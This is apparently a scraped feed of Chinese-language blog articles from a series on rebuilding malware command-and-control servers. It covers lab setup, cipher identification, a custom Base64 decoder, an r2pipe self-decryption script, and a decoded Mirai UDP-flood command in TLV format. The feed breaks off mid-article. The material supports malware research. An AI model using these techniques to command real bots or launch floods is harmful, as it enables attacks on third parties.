https://gist.github.com/fntlnz/cf14feb5a46b2eda428e000157447309。\nRoot CA 憑證匯入電腦步驟，可參考: https://success.outsystems.com/Support/Enterprise_Customers/Installation/Install_a_trusted_root_CA__or_self-signed_certificate。\n總結 快速複習文章提到的重點。\n你可以使用虛擬機器軟體建置測試環境，方便建立 VM 虛擬內網與測試環境快照。 使用輕量級的 DNS 服務軟體 (dnsmasq) 來架設 Fake DNS 服務，欺騙惡意程式，讓所有向 C2 網域的DNS 查詢，都改對應到 VM 的虛擬內網 IP。 使用 openssl 創建根憑證 (Root CA) 來簽發 C2 網域的 SSL 憑證，來避免惡意程式透過 HTTPS 協定連線至 所複刻的C2 程式失敗。 希望這篇文章能幫助到你，有任何問題，請在下方留言告訴我，並將文章分享給你的好朋友。\n複刻 C2 系列文章 C2 複刻 01 - 為何投入複刻 C2 工作？ C2 複刻 02 - Command and Control Server 定義 C2 複刻 03 | Command and Control Server (C\u0026amp;C、C2) 通訊協定類型 C2 複刻 04 | Command and Control Server (C\u0026amp;C、C2) 觀察 C2 複刻 05 | 判斷Command and Control Server (C\u0026amp;C、C2)發起連線端 C2 複刻 06 | Command and Control Server 握手 (Handshake) 與認證 (Authentication) C2 複刻 07 | 分析惡意程式呼叫的作業系統網路 API C2 複刻 08 | 找出所有 Command and Control Server 指令列表與功能函式 C2 複刻 09 | Command and Control 資料傳輸格式 C2 複刻 10 | 惡意程式加解密函式定位 C2 複刻 11 | 判定惡意程式加解密演算法種類 C2 複刻 12 | 推薦 20 個複刻 Command and Control Server 的 Python 3 擴充模組 C2 複刻 13 | 分享 3 個複刻 Command and Control Server 程式測試環境的設定建議 C2 複刻 14 | 3 個複刻 Command and Control Server 程式的開發原則建議 ","permalink":"https://hack543.com/hosting-a-private-command-and-control-server-13/","summary":"\u003cp\u003e準備來撰寫 C2 程式囉，但在寫程式之前，要建置合適的開發與除錯環境，方便一邊複刻 C2 程式，一邊驗證與除錯。接下來，會分享 3 個複刻 Command and Control Server 的程式開發環境的設定建議。\u003c/p\u003e","title":"C2 複刻 13 | 分享 3 個複刻 Command and Control Server 程式測試環境的設定建議"},{"content":"前面章節介紹復刻 Command and Control Server (C2 伺服器)的分析技巧。接下來進入實做 C2 伺服器的部份。實做 C2伺服器，可使用你熟悉的程式語言來撰寫程式。但你若無定見，我誠心建議使用Python 3。\nPython 3 豐富的擴充模組與易學的語法，會大幅減少 C2 伺服器的程式碼，並加快開發速度。以下依類型，列出我撰寫 C2 伺服器程式碼時，常用的 20 個 Python 3 擴充模組。\n網路協定相關模組 socket\n提供傳統 Unix 作業系統相似的底層 BSD socket API，實做 TCP/IP socket 程式時使用。 http.server\nHTTP 網頁伺服器模組。可混搭 ssl 模組，變成 HTTPS 網頁伺服器。 ssl\nTLS/SSL socket 封裝模組，可搭配 socket 或 http.server 模組使用，達成TLS/SSL 加密傳輸連線之目的。 處理傳輸 Payload 格式相關模組 struct\n將數值內容封裝至變數時，處理各種不同Size，如 Byte (1 byte)、Word (2 bytes)、DWORD (4 bytes) 與 QWORD (8 bytes)，並搭配位元組順序 (Endiannness)，如 Big Endian、 Little Endian 的好用模組。 binascii\n二進制資料與 Hex 字串互轉。 加解密與雜湊函數相關模組 hashlib\n提供常見雜湊函數，如 MD5、SHA1、SHA256 等。 hmac\n提供 HMAC 雜湊函數 Crypto.Cipher\n提供多個知名對稱式與非對稱式的加密演算法函數，如 AES、ARC2、ARC4、Blowfish、DES、DES 3、PKCS1_v1_5等。 rc4\n提供 rc4 加密演算法函數。 base64\n提供 Base64編碼與解碼功能函式。 多執行緒相關模組 Threading\n提供程式多執行緒功能，搭配前述網路協定相關模組使用，可讓程式同時服務多個連線客戶端。 Queue\n程式在多執行緒模式運作下，提供不同執行緒間交換資料的管道。 作業系統相關模組 time\n時間函數模組，取得 Unixtime 或 格式化日期時間使用。 logging\n日誌模組，可分等級輸出程式執行日誌至檔案或螢幕。 fnctl\n控制與調整作業系統 I/O 參數。 termios\nPOSIX 格式的 TTY 控制模組。 argparse\n程式執行參數模組。依造文件，定義程式的參數與參數對應的 Callback Function。 select\n控制作業系統非同步 I/O 使用。 os\n提供作業系統相關函式 API。如getuid、getpid、sleep 等。 資料庫存取相關模組 SQLAlchemy\n資料庫 Object Relational Mapping (簡稱 ORM 模組)，能將資料庫欄位定義成 Python 3 物件，透過物件存取，即可進行資料庫操作動作。 總結 上述提到的模組，大部分都已經內建在 Python 3 中 (Battery Included)，或是在該領域的知名模組，經過廣大社群開發者檢視過，有一定程度以上的程式碼品質。安裝這些擴充模組，不僅能降低撰寫的程式碼行數，還能加快開發速度。\n希望這篇文章能幫助到你，有任何問題，請在下方留言告訴我，並將文章分享給你的好朋友。\n複刻 C2 系列文章 C2 複刻 01 - 為何投入複刻 C2 工作？ C2 複刻 02 - Command and Control Server 定義 C2 複刻 03 | Command and Control Server (C\u0026amp;C、C2) 通訊協定類型 C2 複刻 04 | Command and Control Server (C\u0026amp;C、C2) 觀察 C2 複刻 05 | 判斷Command and Control Server (C\u0026amp;C、C2)發起連線端 C2 複刻 06 | Command and Control Server 握手 (Handshake) 與認證 (Authentication) C2 複刻 07 | 分析惡意程式呼叫的作業系統網路 API C2 複刻 08 | 找出所有 Command and Control Server 指令列表與功能函式 C2 複刻 09 | Command and Control 資料傳輸格式 C2 複刻 10 | 惡意程式加解密函式定位 C2 複刻 11 | 判定惡意程式加解密演算法種類 C2 複刻 12 | 推薦 20 個複刻 Command and Control Server 的 Python 3 擴充模組 C2 複刻 13 | 分享 3 個複刻 Command and Control Server 程式測試環境的設定建議 C2 複刻 14 | 3 個複刻 Command and Control Server 程式的開發原則建議 ","permalink":"https://hack543.com/hosting-a-private-command-and-control-server-12/","summary":"\u003cp\u003e前面章節介紹復刻 Command and Control Server (C2 伺服器)的分析技巧。接下來進入實做 C2 伺服器的部份。實做 C2伺服器，可使用你熟悉的程式語言來撰寫程式。但你若無定見，我誠心建議使用Python 3。\u003c/p\u003e","title":"C2 複刻 12 | 推薦 20 個複刻 Command and Control Server 的 Python 3 擴充模組"},{"content":"在複刻 C2 伺服器的功能時，需清楚惡意程式使用何種加解密演算法，才能順利與惡意程式收送指令。但我習慣在整個惡意程式其他功能都分析完畢後，再進行加解密演算法種類判定。最困難的工作要留到最後才做，才不會因為挫折感太重而放棄。在此之前，只要先標注這\n些加密函式的名稱即可，如 encrypt_func001、encrypt_func002 等。\n針對如何判定加密演算法種類，接下來將從最簡單的 xor、 Base64 編碼開始，再來針對一般常見的加解密演算法的判定，以及對付惡意程式客製化加解密演算法的技巧，逐一說明。\nXOR 邏輯運算 xor 是 CPU 指令集 (Instrutction Set) 中，做 xor 邏輯運算的指令。在組合語言呈現的語法格式，如下：\nxor \u0026lt;a\u0026gt;, \u0026lt;b\u0026gt; 由於重複對同一個數值做 xor 邏輯運算，也有簡單的加解密效果。因此 xor 運算也是惡意程式常用的加解密方式。xor 邏輯運算的特色，導致加解密時，會使用相同的函式與密鑰。而 xor 語句在組合語言中有 3 種使用情境範例，如下。\nxor eax, eax xor eax, 8 xor eax, ebx 第一個情境，是將 eax 初始化為 0，非加解密用途。第 2、3個範例，才是用於加解密用途。而像第 2 個情境，xor eax, 8 意思就是將 eax 暫存器的值 與 8 做 xor 邏輯運算，而 8 就是 惡意程式使用的密鑰 (key)。第 3 個情境，xor eax, ebx 意即將 eax 暫存器的值 與 ebx 暫存器的值做 xor 邏輯運算，而 ebx 暫存器中的值即為惡意程式使用的密鑰 (key)。\n由於 xor 一次只能運算 1 個暫存器的值，所以通常會搭配迴圈執行。惡意程式會針對欲傳輸的一大包資料 (例如字串)，進行 xor 邏輯運算，達成資料加解密目的。組合語言範例程式碼如下。用途為針對 data 字串 (字串長度： 10) 進行 xor 邏輯運算，並使用 數字 8 做為密鑰。\nxor ecx, ecx ; 將 ecx 指定為 0 mov edx, [esp+data] ; 將 data 字串的起始位址，指定給 edx loc_0x100: mov al, [edx] ; 將 [edx] 所在位址的值指定 1個 byte 資料給 eax xor al, 8 ; al = al ^ 8，數字 8 即是此演算法的密鑰 mov [edx], al ; 將經運算後 al 的值覆寫回 [edx] 位址的值 inc edx ; 將 edx 位址加 1 inc ecx ; 將 ecx 位址加 1 cmp ecx, A; ; 確認 ecx 的值是否等於 0xA(10) jne loc_0x100; ; 若不等於 10 ，即跳回 loc_0x100 位址繼續執行 上述範例等到迴圈結束時，data 字串已完成加密(或解密)。\nBase64 Base64 演算法出自於 RFC 3548。它是一種編碼字串的方式，不是加解密演算法。在日常生活中，最常用於編碼電子郵件的附件。但是，因為 Base64 也能有效地混淆字串，也常被惡意程式使用。將指令或資料透過標準或客製的 Base64 演算法編碼後，再傳送給 C2 伺服器。\n以下是 hello 字串，經由標準 Base64 演算法編碼而成。\naGVsbG8= 標準 Base64 編碼字串有 4 個特色：\n原始字串每 3 個 bytes一組，組合計算後，將計算結果做為索引，透過索引表代換成對應的編碼。 編碼索引表由 64 個字元組成，依序為 A-Z、a-z、0-9、+ 與 \\。 字串長度為 4 的倍數，不足部份會由填充字元 (=) 補足。 編碼後字串比原始字串長。 標準 Base64 索引編碼表\n索引 編碼 0 A 1 B \u0026hellip; \u0026hellip; 25 Z 26 a \u0026hellip; \u0026hellip; 51 z 52 0 \u0026hellip; 61 9 62 + 63 \\ 標準 Base64 索引編碼表\n寫成連續字串格式\nABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/ 另外，有針對 URL 與檔案系統。為避免衝突，將第62個索引編碼換成「-」 (minus)，第63 個索引編碼換成「_」 (underscore)，稱為 URL Safe 版本的 Base64 編碼。\n由於 Base64 編碼演算法特色，識別 Base64 編碼字串方法，如下 3 點：\n字串看起來像亂碼，但出現的字元集中在 A-Z、a-z、0-9、+ 與 \\範圍內。 字串長度為 4 的倍數。 字串最後有時候會出現填充字元(=)。 而惡意程式最常搞怪的地方是自訂索引編碼表(範例如下)，以致於使用標準 Base64 工具程式解碼後，產生無意義的亂碼或文字。\n自訂索引編碼表的範例(連續字串格式)\nKJiHbl6vpfaFN7SDxg8Ozd/IqAURGM3Cr+Y9cm1TLsyjWBVXZ5Ek0wtPhu2Qneo4 若惡意程式使用自訂索引編碼表。你在分析時，就必須追進去編碼函式 (encoding routine)，找到自訂編碼規則。以下是 hello 字串，經由範例的自訂編碼表 Base64 演算法編碼而成。\nU6dWR6n= 由於編碼表對應索引均為一對一，不會有重複的情形。若你已找到自訂的規則，可撰寫客製化解碼工具。解碼工具撰寫技巧分享如下：\n產生惡意程式編碼順序 (KJiH…o4) 與標準 Base64 編碼順序 (ABCD…+) 的對應表。 利用查表方式，將欲解碼的字串，如「U6dWR6n=」，查表轉對應為標準 Base64 編碼字串，如「aGVsbG8=」。 使用標準 Base64 演算法進行解碼。 根據上述技巧，Python3 解碼程式範例如下:\n#/usr/bin/env python3 import base64 def custom_b64_decode(enc_data): transform_data = str() enc_table = { \u0026#39;K\u0026#39;:\u0026#34;A\u0026#34;, \u0026#39;J\u0026#39;:\u0026#34;B\u0026#34;, \u0026#39;i\u0026#39;:\u0026#34;C\u0026#34;, \u0026#39;H\u0026#39;:\u0026#34;D\u0026#34;, \u0026#39;b\u0026#39;:\u0026#34;E\u0026#34;, \u0026#39;l\u0026#39;:\u0026#34;F\u0026#34;, \u0026#39;6\u0026#39;:\u0026#34;G\u0026#34;, \u0026#39;v\u0026#39;:\u0026#34;H\u0026#34;, \u0026#39;p\u0026#39;:\u0026#34;I\u0026#34;, \u0026#39;f\u0026#39;:\u0026#34;J\u0026#34;, \u0026#39;a\u0026#39;:\u0026#34;K\u0026#34;, \u0026#39;F\u0026#39;:\u0026#34;L\u0026#34;, \u0026#39;N\u0026#39;:\u0026#34;M\u0026#34;, \u0026#39;7\u0026#39;:\u0026#34;N\u0026#34;, \u0026#39;S\u0026#39;:\u0026#34;O\u0026#34;, \u0026#39;D\u0026#39;:\u0026#34;P\u0026#34;, \u0026#39;x\u0026#39;:\u0026#34;Q\u0026#34;, \u0026#39;g\u0026#39;:\u0026#34;R\u0026#34;, \u0026#39;8\u0026#39;:\u0026#34;S\u0026#34;, \u0026#39;O\u0026#39;:\u0026#34;T\u0026#34;, \u0026#39;z\u0026#39;:\u0026#34;U\u0026#34;, \u0026#39;d\u0026#39;:\u0026#34;V\u0026#34;, \u0026#39;/\u0026#39;:\u0026#34;W\u0026#34;, \u0026#39;I\u0026#39;:\u0026#34;X\u0026#34;, \u0026#39;q\u0026#39;:\u0026#34;Y\u0026#34;, \u0026#39;A\u0026#39;:\u0026#34;Z\u0026#34;, \u0026#39;U\u0026#39;:\u0026#34;a\u0026#34;, \u0026#39;R\u0026#39;:\u0026#34;b\u0026#34;, \u0026#39;G\u0026#39;:\u0026#34;c\u0026#34;, \u0026#39;M\u0026#39;:\u0026#34;d\u0026#34;, \u0026#39;3\u0026#39;:\u0026#34;e\u0026#34;, \u0026#39;C\u0026#39;:\u0026#34;f\u0026#34;, \u0026#39;r\u0026#39;:\u0026#34;g\u0026#34;, \u0026#39;+\u0026#39;:\u0026#34;h\u0026#34;, \u0026#39;Y\u0026#39;:\u0026#34;i\u0026#34;, \u0026#39;9\u0026#39;:\u0026#34;j\u0026#34;, \u0026#39;c\u0026#39;:\u0026#34;k\u0026#34;, \u0026#39;m\u0026#39;:\u0026#34;l\u0026#34;, \u0026#39;1\u0026#39;:\u0026#34;m\u0026#34;, \u0026#39;T\u0026#39;:\u0026#34;n\u0026#34;, \u0026#39;L\u0026#39;:\u0026#34;o\u0026#34;, \u0026#39;s\u0026#39;:\u0026#34;p\u0026#34;, \u0026#39;y\u0026#39;:\u0026#34;q\u0026#34;, \u0026#39;j\u0026#39;:\u0026#34;r\u0026#34;, \u0026#39;W\u0026#39;:\u0026#34;s\u0026#34;, \u0026#39;B\u0026#39;:\u0026#34;t\u0026#34;, \u0026#39;V\u0026#39;:\u0026#34;u\u0026#34;, \u0026#39;X\u0026#39;:\u0026#34;v\u0026#34;, \u0026#39;Z\u0026#39;:\u0026#34;w\u0026#34;, \u0026#39;5\u0026#39;:\u0026#34;x\u0026#34;, \u0026#39;E\u0026#39;:\u0026#34;y\u0026#34;, \u0026#39;k\u0026#39;:\u0026#34;z\u0026#34;, \u0026#39;0\u0026#39;:\u0026#34;0\u0026#34;, \u0026#39;w\u0026#39;:\u0026#34;1\u0026#34;, \u0026#39;t\u0026#39;:\u0026#34;2\u0026#34;, \u0026#39;P\u0026#39;:\u0026#34;3\u0026#34;, \u0026#39;h\u0026#39;:\u0026#34;4\u0026#34;, \u0026#39;u\u0026#39;:\u0026#34;5\u0026#34;, \u0026#39;2\u0026#39;:\u0026#34;6\u0026#34;, \u0026#39;Q\u0026#39;:\u0026#34;7\u0026#34;, \u0026#39;n\u0026#39;:\u0026#34;8\u0026#34;, \u0026#39;e\u0026#39;:\u0026#34;9\u0026#34;, \u0026#39;o\u0026#39;:\u0026#34;+\u0026#34;, \u0026#39;4\u0026#39;:\u0026#34;\\\\\u0026#34; } for i in enc_data: if i is \u0026#34;=\u0026#34;: transform_data += \u0026#34;=\u0026#34; else: transform_data += enc_table[i] dec_data = base64.standard_b64decode(transform_data) return dec_data print(custom_b64_decode(\u0026#34;U6dWR6n=\u0026#34;)) Python3 解碼程式針對「U6dWR6n=」字串的執行結果：\n$ python3 custom_base64decode.py b\u0026#39;hello\u0026#39; 一般加解密演算法 一般加解密演算法的背後原理常搭配數學理論。加密函式初始化時，常會指定某些數學常數(Constant) 至程式變數中。例如， TEA 加密演算法 (a Tiny Encryption Algorithm) 的 delta = 0x9e377b9。AES 加密演算法 (Advanced EncryptionStandard) 的 S-BOX = 0x63, 0x7c, 0x77, 0x7b... 等。\n若惡意程式自行撰寫加解密演算法，沒有引用現成函式庫。若發現該函式裡面有以下特徵，極可能就是實做某個知名的加解密演算法。\n函式內部牽扯到多個程式變數位移 (Shift) 運算。 函式引用某些數學常數或數學常數陣列。 函式內部僅有變數交叉數學運算，沒有呼叫作業系統內建的 API。 數學常數是識別加解密演算法種類很好的特徵。把惡意程式引用的數學常數或數學常數陣列內容做為搜索引擎的關鍵字，很大機會從搜尋結果中，找到是某種知名加解密演算法使用的數學常數。詳細比對後，即可識別出惡意程式是使用哪個知名的加解密演算法。\n客製化加解密演算法 若無法透過前面「一般加解密演算法」章節提到的工具判斷為何種加解密演算法，則惡意程\n式可能使用是客製化加解密演算法。在此種狀況下，複刻加解密演算法有 2 種方式供參。\n一、直接模仿法\n若加解密演算法函式程式碼不多，可使用二進位程式除錯器 (BinaryDebugger)，如 x64dbg、ollydbg 等。追進去加解密函式，一行一行追，逐步紀錄。把暫存器的運算每一步驟都紀錄下來，直到加密函式結束。歸納後，再撰寫程式加解密函式。\n程式很少一次複刻就成功，如何驗證撰寫的加解密函式與惡意程式相同呢？\n使用二進位程式除錯器，在加解密函式進入點與離開點設定斷點，觀察輸入字串與輸出字串是否與撰寫的加解密函式相同。 若有錯誤，則再追進去加解密函式，迭代修正直到正確為止。 二、惡意程式自解法 (self decoding)\n此方法利用惡意程式內建解密函式來幫忙解密。聽起來微妙，可利用外部除錯工具 (例如 radare2) 幫忙。但此法使用時，需避免呼叫惡意程式的解密函式過程中，執行到惡意代碼，使用時需謹慎。\n惡意程式自解法使用時機：\n加解密函式程式碼行數多且複雜，無法透過「直接破解法」歸納。 惡意程式小幅修改標準加解密寫法，造成標準解密程式失效。 舉例來說，分析惡意程式後發現 fcn.08048681 是解密函式。使用該函式時需要 push 3 個參數進入堆疊 (stack) 中。解密結果會放在原先的 [esp] 的指向位址。3 個參數用途說明如下：\nlocal_8h: 欲解密字串 local_4h: 密鑰 [esp]: 解密完成的字串會放在此變數中 在 除錯器 radare2 中，會看到如下的組合語言程式碼：\n| ; var int local_4h @ esp+0x4 | ; var int local_8h @ esp+0x8 | ; var int local_18h @ esp+0x18 | ; var int local_1ch @ esp+0x1c ....[snip].. |0x08048781 mov dword [local_8h], eax |0x08048785 mov dword [local_4h], str.pass ....[snip]... |0x08048791 mov dword [esp], eax |0x08048794 call fcn.08048681 在這個範例裡，要達成惡意程式自解的目的，需要操作除錯器 radare2 ，進行以下步驟：\n將中斷點設定在 0x08048794 位址。radare2 操作指令為 db 0x08048794。 執行惡意程式，程式會停在 0x08048794 中斷點位址，此時解密函式下一步要準備執行，函式 3 個參數已存放在堆疊中。radare2 操作指令為 dc。 紀錄堆疊 [esp] 與 [esp+8] 指向位址，例如分別為 0x0976f008 與0x0976f210。radare2 操作指令為 pv @ esp 與 pv @ esp+8。 改寫堆疊中的解密函式參數 [esp+8] 指向位址(如 0x08746008)的值，替換成要解密的字串。radare2 操作指令為 wx 0x700196db60f45629a5404600 ＠0x0976f210。0x700196db60f45629a5404600 代表欲解密字串的16進位編碼。0x0976f210 是 堆疊變數 esp+8 指向的記憶體位址，這個位址每次執行均不同。 執行解密函式 call fcn.08048681。radare2 操作指令為 dso，代表 step over 一個操作指令。 解密結果會放在原先的 [esp] 的指向位址直接印出[註]。radare2 操作指令為 psz @ 0x0976f008，0x0976f008代表原先的 [esp] 指向的記憶體位址。 [註] 由於堆疊的指向位址 (esp, esp+8) 會在執行 call fcn.08048681 後改變，所以是檢查呼叫函式前所紀錄的指向位址。\n根據上述 6 個步驟，寫成自動化的 r2pipe 程式碼範例，如下：\n#!/usr/bin/env python3 import r2pipe # secret text would like to be decrypted secret_text = 0x700196db60f45629a5404600 # -2: disable stderr printing message r = r2pipe.open(\u0026#39;malware\u0026#39;, flags=[\u0026#39;-2\u0026#39;]) # aaa : auto analysis, ood: open debug mode r.cmd(\u0026#39;aaa;ood\u0026#39;) # set breakpoint at 0x08048794, address of `call fcn.08048681` r.cmd(\u0026#39;db 0x08048794\u0026#39;) # continue to execute, r2 will stop at breakpoint(0x08048794) r.cmd(\u0026#39;dc\u0026#39;) # esp: location of encode string encode_str_loc = r.cmd(\u0026#39;pv @ esp\u0026#39;) # esp+8: location of decode string decode_str_loc = r.cmd(\u0026#39;pv @ esp+8\u0026#39;) # write the secret text to location of encode string r.cmd(\u0026#39;wx %x @ %s\u0026#39; % (secret_text, encode_str_loc)) # step over one instruction. complete `call fcn.08048681` r.cmd(\u0026#39;dso\u0026#39;) # get the decode string decode_string = r.cmd(\u0026#39;psz @ %s\u0026#39; % decode_str_loc).strip() print(decode_string) 複刻 C2 系列文章 C2 複刻 01 - 為何投入複刻 C2 工作？ C2 複刻 02 - Command and Control Server 定義 C2 複刻 03 | Command and Control Server (C\u0026amp;C、C2) 通訊協定類型 C2 複刻 04 | Command and Control Server (C\u0026amp;C、C2) 觀察 C2 複刻 05 | 判斷Command and Control Server (C\u0026amp;C、C2)發起連線端 C2 複刻 06 | Command and Control Server 握手 (Handshake) 與認證 (Authentication) C2 複刻 07 | 分析惡意程式呼叫的作業系統網路 API C2 複刻 08 | 找出所有 Command and Control Server 指令列表與功能函式 C2 複刻 09 | Command and Control 資料傳輸格式 C2 複刻 10 | 惡意程式加解密函式定位 C2 複刻 11 | 判定惡意程式加解密演算法種類 C2 複刻 12 | 推薦 20 個複刻 Command and Control Server 的 Python 3 擴充模組 C2 複刻 13 | 分享 3 個複刻 Command and Control Server 程式測試環境的設定建議 C2 複刻 14 | 3 個複刻 Command and Control Server 程式的開發原則建議 ","permalink":"https://hack543.com/hosting-a-private-command-and-control-server-11/","summary":"\u003cp\u003e在複刻 C2 伺服器的功能時，需清楚惡意程式使用何種加解密演算法，才能順利與惡意程式收送指令。但我習慣在整個惡意程式其他功能都分析完畢後，再進行加解密演算法種類判定。最困難的工作要留到最後才做，才不會因為挫折感太重而放棄。在此之前，只要先標注這\u003cbr\u003e\n些加密函式的名稱即可，如 encrypt_func001、encrypt_func002 等。\u003c/p\u003e","title":"C2 複刻 11 | 判定惡意程式加解密演算法種類"},{"content":"在反組譯惡意程式後，如何在茫茫組語海中，定位加解密函式的所在程式碼位置呢？\n根據我過去分析惡意程式的經驗，加解密的函式常會單獨成一個函式。從惡意程式角度切入，分為送資料給 C2 伺服器與從 C2 伺服器收資料 ，2 部份作業來說明。\n送資料給 Command and Control 伺服器 因為加密函式會在送資料前，將資料加密。故在惡意程式程式碼結構中，會先呼叫加密函式。(如下面程式碼範例：encrypt_algorithm 函式)，再呼叫送資料函式(如下面程式碼範例：send函式)。\n你將惡意程式反組譯後，可特別留意在送資料函式前面不遠的函式，極有可能是加密函式。\n而如何定位送資料函式程式碼位置？有呼叫前面章節提到的關鍵 Windows 與 Linux 網路API 中，關於送資料的 API，即是送資料函式。\nencrypt_data = encrypt_algorithm(send_data, encrypt_key); send(encrypt_data); .... 從 Command and Control 伺服器收資料 因為加密函式會在收到資料後，將資料解密。故在惡意程式程式碼結構中，會先呼叫收資料函式 (如下面程式碼範例：recv 函式)，再呼叫解密函式(如下面程式碼範例：decrypt_algorithm 函式)。\n你將惡意程式反組譯後，可特別留意在收資料函式後面不遠的函式，極有可能是解密函式。而如何定位收資料函式程式碼位置？有呼叫前面章節提到的關鍵 Windows 與 Linux 網路 API 中，關於收資料的 API，即是收資料函式。\nrecv_data = recv(); decrypt_data = decrypt_algorithm(recv_data, decrypt_key); .... 複刻 C2 系列文章 C2 複刻 01 - 為何投入複刻 C2 工作？ C2 複刻 02 - Command and Control Server 定義 C2 複刻 03 | Command and Control Server (C\u0026amp;C、C2) 通訊協定類型 C2 複刻 04 | Command and Control Server (C\u0026amp;C、C2) 觀察 C2 複刻 05 | 判斷Command and Control Server (C\u0026amp;C、C2)發起連線端 C2 複刻 06 | Command and Control Server 握手 (Handshake) 與認證 (Authentication) C2 複刻 07 | 分析惡意程式呼叫的作業系統網路 API C2 複刻 08 | 找出所有 Command and Control Server 指令列表與功能函式 C2 複刻 09 | Command and Control 資料傳輸格式 C2 複刻 10 | 惡意程式加解密函式定位 C2 複刻 11 | 判定惡意程式加解密演算法種類 C2 複刻 12 | 推薦 20 個複刻 Command and Control Server 的 Python 3 擴充模組 C2 複刻 13 | 分享 3 個複刻 Command and Control Server 程式測試環境的設定建議 C2 複刻 14 | 3 個複刻 Command and Control Server 程式的開發原則建議 ","permalink":"https://hack543.com/hosting-a-private-command-and-control-server-10/","summary":"\u003cp\u003e在反組譯惡意程式後，如何在茫茫組語海中，定位加解密函式的所在程式碼位置呢？\u003c/p\u003e\n\u003cp\u003e根據我過去分析惡意程式的經驗，加解密的函式常會單獨成一個函式。從惡意程式角度切入，分為\u003cstrong\u003e送資料給 C2 伺服器\u003c/strong\u003e與\u003cstrong\u003e從 C2 伺服器收資料\u003c/strong\u003e ，2 部份作業來說明。\u003c/p\u003e","title":"C2 複刻 10 | 惡意程式加解密函式定位"},{"content":"延續上節，若惡意程式採用 TCP 或 UDP 網路傳輸協定，亦會自定義一套與 C2 溝通的專屬格式。\n在復刻 C2 上，常利用逆向工程與分析封包手法，去拼湊出每個 C2 控制指令，所對應的傳輸格式與內容。\n而在傳輸格式中，最廣泛使用就屬 TLV (Type-Length-Value) 。TLV 格式描述資料清楚、易懂且彈性，且解析 TLV 資料時，不像 JSON、XML 格式，需引入外部函式庫，程式相依性較低。\nTLV 格式 該格式分為以下 3 個部份：\nType: 資料類型 Length: 資料長度 Value: 資料內容 在 C 語言實做時，可用如下資料結構呈現：\nstruct TLV { uint8_t type; uint32_t length; char *value; } 實際在傳輸時，資料會以 16 進位編碼呈現，例如：\n010401020304 則依序將資料解讀為 Type(01)、Length(04)與 Value(01020304)。\n資料類型代碼：01，每個代碼代表一種資料類型，其值唯一。 資料內容長度：4 個 Bytes (04) 資料內容：01020304 你或許會問，如果一次傳輸多種資料類型的內容，要如何處理？\n一般會用TLVTLVTLV …等格式，依序疊加多個 TLV 資料而成。例如：\n0104010203040204050607080304090A0B0C 資料依據資料類型「01」、「02」與「03」，是由3 份 TLV 資料疊加而成，「010401020304」、「020405060708」與「0304090A0B0C」。\n若某個類型的資料已知且為固定長度，實務上會省略長度的資訊，將Type 資訊即接續 Value 的資訊。\n舉 IOT Botnet 程式 Mirai 為例，發送UDP Flood 攻擊指令內容，以16進制 TLV 格式編碼，如下：\n00110000001E00010A0A0A200107023830 僅傳輸 17 個 Bytes，解讀 C2 控制命令意思是「Bot 請向 IP位址(10.10.10.10/32)的 Port 80 進行 UDP Flooding 滿頻攻擊，攻擊時間持續 30秒」。\n將這 17 個 Bytes 依造資料類型，依 Type、Length 與 Value 解讀後可填為以下表格。\nLength 欄位 (F)表示為固定長度，其資訊是被省略的。Length 欄位 (D) 表示資訊有提供。\n在 Value 欄位，括號內容為值代表的意義。例如 Attack Vector(攻擊向量) 為 00，表示為 UDP Flooding。\nType Length (F/D) Value Total Length 2(F) 11(17 Bytes) Attack Duration 4(F) 0000001E (30 秒) Attack Vector 1(F) 00 (UDP Flooding) Target Count 1(F) 01 Target IP 4(F) 0A0A0A0A (10.10.10.10) Target Netmask 1(F) 20(/32) Option amounts 1(F) 01(1 Option) Option Type 1(F) 07 (Attack Dest Port) Option Length 1(F) 02 (5) Option Value 2(D) 3830 (80) 總而言之，以 Mirai 為例，預先定義 TLV 傳輸格式與內容，後續 C2 僅需花費 17個 Bytes，即能傳送控制指令給 Bot。\n故在復刻 C2 上，利用逆向工程與封包分析手法，拼湊 C2 控制指令所對應的 TLV 資料傳輸格式與內容，便可成功對 Bot 下達控制指令。\n複刻 C2 系列文章 C2 複刻 01 - 為何投入複刻 C2 工作？ C2 複刻 02 - Command and Control Server 定義 C2 複刻 03 | Command and Control Server (C\u0026amp;C、C2) 通訊協定類型 C2 複刻 04 | Command and Control Server (C\u0026amp;C、C2) 觀察 C2 複刻 05 | 判斷Command and Control Server (C\u0026amp;C、C2)發起連線端 C2 複刻 06 | Command and Control Server 握手 (Handshake) 與認證 (Authentication) C2 複刻 07 | 分析惡意程式呼叫的作業系統網路 API C2 複刻 08 | 找出所有 Command and Control Server 指令列表與功能函式 C2 複刻 09 | Command and Control 資料傳輸格式 C2 複刻 10 | 惡意程式加解密函式定位 C2 複刻 11 | 判定惡意程式加解密演算法種類 C2 複刻 12 | 推薦 20 個複刻 Command and Control Server 的 Python 3 擴充模組 C2 複刻 13 | 分享 3 個複刻 Command and Control Server 程式測試環境的設定建議 C2 複刻 14 | 3 個複刻 Command and Control Server 程式的開發原則建議 ","permalink":"https://hack543.com/hosting-a-private-command-and-control-server-09/","summary":"\u003cp\u003e延續上節，若惡意程式採用 TCP 或 UDP 網路傳輸協定，亦會自定義一套與 C2 溝通的專屬格式。\u003c/p\u003e\n\u003cp\u003e在復刻 C2 上，常利用逆向工程與分析封包手法，去拼湊出每個 C2 控制指令，所對應的傳輸格式與內容。\u003c/p\u003e","title":"C2 複刻 09 | Command and Control 資料傳輸格式"},{"content":"若想重新複刻 C2 伺服器的功能，分析惡意程式中間過程有一重要步驟：「找出所有 Command and Control Server 指令列表與功能函式」。\n分析時，需使用逆向分析工具，例如 IDA Pro、x64dbg 等。如何操作 IDA Pro 或 x64dbg 逆向分析工具，已超出本文範圍。讀者若有興趣，可參考坊\n間相關專業書籍。\n惡意程式類型若是後門程式，則惡意程式的 列表，時常會以條件判斷式的結構呈現。C 程式語法關鍵字如 switch case 與多個 if、else if、else。\n而在 switch 條件判斷後，會緊接著呼叫 Command 的功能函式。而功能函式這邊只是舉例，真實世界的惡意程式 C2 Command 會比這複雜許多。\nC 語言虛擬碼範例如下：\ncmd_code = recv_cmd(); switch(cmd_code) { case 0xAA: print_machine_info(); break; case 0xBB: print_process_list(); break; case 0xCC: download_file(); break; case 0xDD: upload_file(); break; case 0xEE: execute_file(); break; default: break; } 在範例中，經由 recv_cmd() 函式，會連線 C2 伺服器，並接收到指令代碼 (cmd_code)。透過 switch 語法，分派指令代碼執行對應的函式，如\n指令代碼 (cmd_code) = 0xAA：執行 print_machine_info() 函式，功能：印出本機資訊 